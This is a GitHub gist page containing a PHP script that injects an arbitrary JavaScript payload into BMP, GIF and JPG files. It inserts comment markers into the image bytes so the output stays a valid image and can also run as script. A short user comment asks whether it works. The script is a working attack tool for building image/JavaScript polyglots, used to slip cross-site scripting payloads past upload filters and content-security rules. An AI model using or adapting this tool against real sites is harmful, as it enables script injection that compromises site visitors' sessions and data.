Skip to content

Instantly share code, notes, and snippets.

@mokhdzanifaeq
Last active February 20, 2022 00:06
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save mokhdzanifaeq/9482075 to your computer and use it in GitHub Desktop.
Save mokhdzanifaeq/9482075 to your computer and use it in GitHub Desktop.
inject javascript into images (BMP,JPG,GIF)
<?php
//GIF && BMP
function GNB($data, $payload, $pos) {
$data = str_replace(['2f2a', '2a2f'], '0000', $data);
$data = substr_replace($data, '2f2a', $pos, 4);
$data .= array_shift( unpack('H*', '*/=1;' . $payload) );
return $data;
}
//JPG
function JPG($data, $payload) {
$data = str_replace(['2f2a', '2a2f'], '0000', $data);
$data = substr_replace($data, '2f2a', 8, 4);
$cave = str_repeat('41', 12058);
$data = substr_replace($data, $cave, 40, 0);
$code = array_shift( unpack('H*', '*/=1;' . $payload . '/*') );
$data = substr_replace($data, $code, 40, strlen($code));
return $data;
}
//MAIN
$ext = strtolower(pathinfo($argv[1], PATHINFO_EXTENSION));
$hex = array_shift( unpack( "H*", file_get_contents($argv[1]) ) );
$pay = $argv[2];
if ($ext == 'gif') $data = GNB($hex, $pay, 12);
elseif ($ext == 'bmp') $data = GNB($hex, $pay, 4);
elseif ($ext == 'jpg' || $ext == "jpeg") $data = JPG($hex, $pay);
else echo '[!] error: file extension is not supported';
$char = pack("H*", $data);
$name = '_' . basename($argv[1], '.' . $ext) . '.' . $ext;
file_put_contents($name, $char);
?>
@jokeskay
Copy link

jokeskay commented Jan 3, 2018

does this work? would it run if I were to just download the image and uses it as a wallpaper

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment